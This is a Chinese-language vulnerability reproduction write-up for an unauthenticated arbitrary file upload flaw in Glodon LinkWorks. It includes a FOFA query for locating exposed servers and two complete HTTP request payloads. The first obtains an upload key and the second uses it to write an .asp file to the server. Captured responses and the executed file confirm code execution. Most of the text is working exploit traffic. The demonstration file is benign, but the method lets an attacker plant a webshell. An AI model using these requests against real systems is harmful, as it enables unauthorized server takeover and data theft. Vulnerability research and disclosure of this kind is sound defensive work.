

G3-7广联达-Linkworks协同办公管理平台-文件上传

漏洞描述：

由于广联达 LinkWorks /Services/FileService/UserFiles/GetAuthorizeKey.ashx接口处设置不当，未经身份认证的攻击者通过该漏洞上传恶意文件，可导致恶意代码执行、身份伪造、后门植入、敏感数据泄露，服务器被控等问题。

网站图片：



网络测绘：

fofa语法：

body="/Services/Identification/login.ashx" || header="/Services/Identification/login.ashx" || banner="/Services/Identification/login.ashx"

漏洞复现：

创建文件并获取上传授权码
payload:

```
POST /Services/FileService/UserFiles/GetAuthorizeKey.ashx HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded

cmd=&destDir=./sysinfo/&destFilename=1.asp
```

效果图：

Request

1

2

3

4

5

6

7

8

9

10

11

POST /Services/FileService/UserFiles/GetAuthorizeKey.ashx HTTP/1.1

Host: :8888

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Connection: close

Content-Type: application/x-www-form-urlencoded

cmd=&destDir=./sysinfo/&destFilename=1.asp

Responses 83bytes / 45ms

1

2

3

4

5

6

7

8

9

10

11

12

HTTP/1.1 200 OK

Cache-Control: private, no-store

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Mon, 08 Jan 2024 12:20:40 GMT

Connection: close

Content-Length: 83

{success:true,error:"",fileExists:false,k

携带授权码写入文件内容

```
POST /Services/FileService/UserFiles/UserFilesUpload.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytCOFhbEjc3IfYaY5

-----WebKitFormBoundarytCOFhbEjc3IfYaY5
Content-Disposition: form-data; name="key"

获取到的上传授权码

-----WebKitFormBoundarytCOFhbEjc3IfYaY5
Content-Disposition: form-data; name="destDir"

./sysinfo/
-----WebKitFormBoundarytCOFhbEjc3IfYaY5
Content-Disposition: form-data; name="destFilename"
```

```
1.asp
-----WebKitFormBoundarytCOFhbEjc3IfYaY5
Content-Disposition: form-data; name="file"; filename="1.asp"
content-type:image/png

<% Response.Write("Hello, World") %>
-----WebKitFormBoundarytCOFhbEjc3IfYaY5--
```

Request

< > 数据包扫描 热加载 构造请求

1 POST /Services/FileService/UserFiles/UserFilesUpload.ashx HTTP/1.1

2 Host: 10.0.0.1:8888

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

5 Accept-Encoding: gzip, deflate

6 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

7 Connection: close

8 Content-Type: multipart/form-data; boundary=-----WebKitFormBoundarytCOFhbEjc3IfYaY5

9

10 -----WebKitFormBoundarytCOFhbEjc3IfYaY5

11 Content-Disposition: form-data; name="key"

12

13 fb28f842-62c6-4c8a-8df1-34f3ec0e8dcc

14 -----WebKitFormBoundarytCOFhbEjc3IfYaY5

15 Content-Disposition: form-data; name="destDir"

16

17 ./sysinfo/

18 -----WebKitFormBoundarytCOFhbEjc3IfYaY5

19 Content-Disposition: form-data; name="destFilename"

20

21 1.asp

22 -----WebKitFormBoundarytCOFhbEjc3IfYaY5

23 Content-Disposition: form-data; name="file"; filename="1.asp"

Responses 118bytes / 45ms

1 HTTP/1.1 200 OK

2 Cache-Control: private, no-store

3 Content-Type: text/html; charset=utf-8

4 Vary: Accept-Encoding

5 Server: Microsoft-IIS/7.5

6 X-AspNet-Version: 4.0.30319

7 X-Powered-By: ASP.NET

8 Date: Mon, 08 Jan 2024 12:22:54 GMT

9 Connection: close

10 Content-Length: 118

11

12 上传成功, 已存储为 D:\Program Files (x86)\Gldon\GTP\data\gtp-default\FileStorage\U

回显了上传路径
验证

← → ↺

⚠ 不安全 10.0.0.1:8888/UserFiles/sysinfo/1.asp

Hello, World